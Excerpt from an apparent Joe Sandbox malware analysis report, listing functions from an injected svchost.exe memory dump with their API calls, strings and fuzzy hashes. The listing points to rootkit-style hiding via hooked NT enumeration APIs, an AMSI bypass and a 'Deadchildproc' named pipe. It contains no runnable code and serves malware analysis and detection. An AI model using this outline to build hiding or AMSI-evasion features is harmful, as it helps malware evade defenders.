String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction ID: b3fabe37c4680668d1ae011a90c989e86a7bf41738fed13202891c8a3ce4ee20
Opcode Fuzzy Hash: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction Fuzzy Hash: E44187A5B10A8AA2FA05DB65ED5E7D4336EA706F46F8C4023940B27575DF3C828DC393

Function 000002A6613012BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301319
GetProcessHeap.KERNEL32 ref: 000002A661301327
HeapAlloc.KERNEL32 ref: 000002A661301338
RegEnumValueW.ADVAPI32 ref: 000002A661301397

Part of subcall function 000002A66130152C: StrCmpIW.SHLWAPI ref: 000002A66130155D

GetProcessHeap.KERNEL32 ref: 000002A6613013DF
HeapAlloc.KERNEL32 ref: 000002A6613013ED
GetProcessHeap.KERNEL32 ref: 000002A66130140A
HeapFree.KERNEL32 ref: 000002A661301418
lstrlenW.KERNEL32 ref: 000002A661301421
GetProcessHeap.KERNEL32 ref: 000002A66130142F
HeapAlloc.KERNEL32 ref: 000002A66130143D
StrCpyW.SHLWAPI ref: 000002A66130145F
GetProcessHeap.KERNEL32 ref: 000002A661301476
HeapFree.KERNEL32 ref: 000002A661301484

Strings

d, xrefs: 000002A66130135A

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction ID: f5c37a36ef25a3a88bd1a4a094d32cd22919e670b9c6443afd41ee3b8fcd4d68
Opcode Fuzzy Hash: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction Fuzzy Hash: EB512832B10B8487EB14DF62E44D35AB7B5F78AF99F084124DA4A27768DF3CC0498741

Function 000002A6612D6D30 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A6612D6D58
__scrt_acquire_startup_lock.LIBCMT ref: 000002A6612D6DAA
_RTC_Initialize.LIBCMT ref: 000002A6612D6DD8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6612D6DFE
__scrt_release_startup_lock.LIBCMT ref: 000002A6612D6E29

Strings

bad array new length, xrefs: 000002A6612D6E5B

Memory Dump Source

Source File: 0000000E.00000003.1781874450.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2a6612d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: bad array new length
API String ID: 190073905-1242854226
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 66319a59e465040172f2708f6662c54a8d1af914a7905c09fce3c1ffde232696
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 8E81AC61F006C18BFA64AB76E88D399269DAF87F84F4C4115EA4943796DF3CC9CD8302

Function 000002A661302FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002A661302FF5
GetProcessHeap.KERNEL32 ref: 000002A66130300A
HeapAlloc.KERNEL32 ref: 000002A661303018
PdhGetCounterInfoW.PDH ref: 000002A66130302E
StrCmpW.SHLWAPI ref: 000002A661303043

Part of subcall function 000002A661303558: StrCmpNW.SHLWAPI ref: 000002A66130357A
Part of subcall function 000002A661303558: StrStrW.SHLWAPI ref: 000002A661303594
Part of subcall function 000002A661303558: StrToIntW.SHLWAPI ref: 000002A6613035BB

GetProcessHeap.KERNEL32 ref: 000002A661303080
HeapFree.KERNEL32 ref: 000002A66130308E

Strings

\GPU Engine(*)\Running Time, xrefs: 000002A66130303C

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction ID: d600d0342521e5dc14df8aff5c13f6e4325c40e3bdc537f4051cfcbd9786d19f
Opcode Fuzzy Hash: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction Fuzzy Hash: 2D318222F00A419BE711DF22A80C75AB3A8FB89F96F484525DE4B63724DF3CC45E8781

Function 000002A6613030B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002A66130310E
GetProcessHeap.KERNEL32 ref: 000002A66130311F
HeapAlloc.KERNEL32 ref: 000002A66130312D
PdhGetCounterInfoW.PDH ref: 000002A661303143
StrCmpW.SHLWAPI ref: 000002A661303158

Part of subcall function 000002A661303558: StrCmpNW.SHLWAPI ref: 000002A66130357A
Part of subcall function 000002A661303558: StrStrW.SHLWAPI ref: 000002A661303594
Part of subcall function 000002A661303558: StrToIntW.SHLWAPI ref: 000002A6613035BB

GetProcessHeap.KERNEL32 ref: 000002A661303185
HeapFree.KERNEL32 ref: 000002A661303193

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000002A661303151

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction ID: fe809002958c5b70657823c4d9fc4eb754dddcf7c3a06f73e309caee62860b1d
Opcode Fuzzy Hash: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction Fuzzy Hash: F5316D21B10B418BE754EF66A84CB5A73F9FB8AF96F084125DE4B63724DF3CC40A8641

Function 000002A661302C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002A661302CB8
GetProcAddress.KERNEL32 ref: 000002A661302CCD
StrCmpNIW.SHLWAPI ref: 000002A661302D10
lstrlenW.KERNEL32 ref: 000002A661302E39

Strings

\Device\Nsi, xrefs: 000002A661302D03
NtQueryObject, xrefs: 000002A661302CC3
ntdll.dll, xrefs: 000002A661302CB1

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProclstrlen
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 3607816002-3850299575
Opcode ID: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction ID: a387560ea905659ccb8272e6c85d93e934b63f6a9fc372877915c3c60fa115c0
Opcode Fuzzy Hash: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction Fuzzy Hash: 00A18C32B00A8187EB588F25D60C69973E9F746F99F584026DE4E67B98DF38CC49C381

Function 000002A66130104C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A6613010B1
RegEnumValueW.ADVAPI32 ref: 000002A661301117
GetProcessHeap.KERNEL32 ref: 000002A66130115C
HeapAlloc.KERNEL32 ref: 000002A66130116A
GetProcessHeap.KERNEL32 ref: 000002A661301187
HeapFree.KERNEL32 ref: 000002A661301195

Strings

d, xrefs: 000002A6613010D6

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction ID: af04300308808e81b21d15fd87a1c889461f9cd28fcb8d9089a114049921a180
Opcode Fuzzy Hash: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction Fuzzy Hash: 6B415C32714B8087E764CF62E44839A77B5F38AB99F488129DA8A17B58DF3CC549CB41

Function 000002A661302344 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A661302359
GetCurrentProcessId.KERNEL32 ref: 000002A661302363
CreateFileW.KERNEL32 ref: 000002A661302394
WriteFile.KERNEL32 ref: 000002A6613023BC
ReadFile.KERNEL32 ref: 000002A6613023DB
CloseHandle.KERNEL32 ref: 000002A6613023E4

Strings

\\.\pipe\Deadchildproc, xrefs: 000002A661302375

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\Deadchildproc
API String ID: 166002920-2259481039
Opcode ID: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction ID: 900f71070070d9abe1b8849eb5d46759e6146ce4ce717753c2b0b13c55d548f7
Opcode Fuzzy Hash: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction Fuzzy Hash: 7911F636A14B8083E710CB21F54D35A77A4F78AFA5F584215EA9B17AA8CF7CC14DCB42

Function 000002A661307930 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A661307958
__scrt_acquire_startup_lock.LIBCMT ref: 000002A6613079AA
_RTC_Initialize.LIBCMT ref: 000002A6613079D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6613079FE
__scrt_release_startup_lock.LIBCMT ref: 000002A661307A29

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 2cfcdc948a9de1d10b6df2867afef34899f3b6667a05ece3429fded038ae8830
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 0E810221F0064187FA50EB65984E39922DCAB87F82F0C4425DA8B77796DF3CC94E8383

Function 000002A661309930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002A661309AEF,?,?,?,000002A6613098B4,?,?,?,?,000002A6613094A5), ref: 000002A6613099B5
GetLastError.KERNEL32(?,?,?,000002A661309AEF,?,?,?,000002A6613098B4,?,?,?,?,000002A6613094A5), ref: 000002A6613099C3
LoadLibraryExW.KERNEL32(?,?,?,000002A661309AEF,?,?,?,000002A6613098B4,?,?,?,?,000002A6613094A5), ref: 000002A6613099ED
FreeLibrary.KERNEL32(?,?,?,000002A661309AEF,?,?,?,000002A6613098B4,?,?,?,?,000002A6613094A5), ref: 000002A661309A33
GetProcAddress.KERNEL32(?,?,?,000002A661309AEF,?,?,?,000002A6613098B4,?,?,?,?,000002A6613094A5), ref: 000002A661309A3F

Strings

api-ms-, xrefs: 000002A6613099D5

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction ID: f0791b96ef91c1d198ed1d9129c3e51a47dbba9e60560fbbe84c9b6c10888074
Opcode Fuzzy Hash: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction Fuzzy Hash: 02319021B1264092FE15DF06A80C79962DCB74AFA5F5D4525DD2F67390DF3CC4898382

Function 000002A661311CBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 000002A661311CED
GetLastError.KERNEL32 ref: 000002A661311CF9
CloseHandle.KERNEL32 ref: 000002A661311D11
CreateFileW.KERNEL32 ref: 000002A661311D3C
WriteConsoleW.KERNEL32 ref: 000002A661311D5B

Strings

CONOUT$, xrefs: 000002A661311D1D

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction ID: 4d15754415cb6b26f3af690b2db3d5ac8b0ed21cde72321f032982f121a3ca1e
Opcode Fuzzy Hash: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction Fuzzy Hash: DA114931B14A4087E7509B52A84E31976A9B79AFE4F484225EA5F977A4CF7CC8088741

Function 000002A661305F50 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305F8B
GetThreadContext.KERNEL32 ref: 000002A6613060F5

Part of subcall function 000002A661305D80: GetCurrentThreadId.KERNEL32 ref: 000002A661305D84

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction ID: d3911cc119219c1cc973d9d01e034cee812cdfb5a5aa00d1aae4b005dd0a6e37
Opcode Fuzzy Hash: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction Fuzzy Hash: DAD1AB76608B8882EA70DB0AE49935A77E4F3C9F85F140116EACE57BA9CF3CC545CB41

Function 000002A6613031C0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A6613031E3
HeapAlloc.KERNEL32 ref: 000002A6613031F6
StrCmpNIW.SHLWAPI ref: 000002A661303277
GetProcessHeap.KERNEL32 ref: 000002A6613032DD
HeapFree.KERNEL32 ref: 000002A6613032EB

Strings

Dead, xrefs: 000002A661303270

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: Dead
API String ID: 756756679-1293411866
Opcode ID: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction ID: 4dd6e9819385993a33c4928075c13d7e72d6ff784883d3569d8b25ec7c09e6e3
Opcode Fuzzy Hash: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction Fuzzy Hash: DE31AF21B01B5187EA51DF56E44C769A7E8FB56F91F0C80209E8A23B54EF3CD4A9C781

Function 000002A661301934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002A66130195A
K32GetModuleFileNameExW.KERNEL32 ref: 000002A661301978
PathFindFileNameW.SHLWAPI ref: 000002A661301987
lstrlenW.KERNEL32 ref: 000002A661301993
StrCpyW.SHLWAPI ref: 000002A6613019A6
CloseHandle.KERNEL32 ref: 000002A6613019B4

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction ID: e1dd1258c5261a04da8618229e7ec079af13366636c2869e31bd1f927bcd4418
Opcode Fuzzy Hash: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction Fuzzy Hash: 2C015771B04A4087EA10DB12A89C35A62A9F789FD4F488134DE8A53758DF3CC98AC781

Function 000002A661303B00 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A6613036A8), ref: 000002A661303B1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A6613036A8), ref: 000002A661303B2A
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A6613036A8), ref: 000002A661303B4C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A6613036A8), ref: 000002A661303B6D
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A6613036A8), ref: 000002A661303B8E
TerminateThread.KERNEL32(?,?,?,?,?,000002A6613036A8), ref: 000002A661303B9D

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction ID: 6ed2c90be072456ea9a4bd697f2fd10eb4d467ec23d608173af05e33368ab2c7
Opcode Fuzzy Hash: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction Fuzzy Hash: F1111B25B01B4087EB25DB22E80D71977E8AB4AF55F080425C94F67764EF3DC64CC702

Function 000002A6613019D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002A6613019F8
StrCmpNIW.SHLWAPI ref: 000002A661301A12
lstrlenW.KERNEL32 ref: 000002A661301A21
StrCpyW.SHLWAPI ref: 000002A661301A36

Strings

\\?\, xrefs: 000002A661301A06

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction ID: ec1b6f25bef38d2063cdb20bcb1da5f9fd383d8b2700952db0105f78bebcc860
Opcode Fuzzy Hash: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction Fuzzy Hash: 29F08C7274468093EB20DB25E89C39973B4F789F99F888020DA4A57968DF7CC68DCB01

Function 000002A66130330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,?,000002A661302585), ref: 000002A66130332E
StrCpyW.SHLWAPI ref: 000002A66130333E
StrCatW.SHLWAPI ref: 000002A66130334A
PathCombineW.SHLWAPI(?,?,?,000002A661302585), ref: 000002A661303358

Strings

\\.\pipe\, xrefs: 000002A661303324

Memory Dump Source

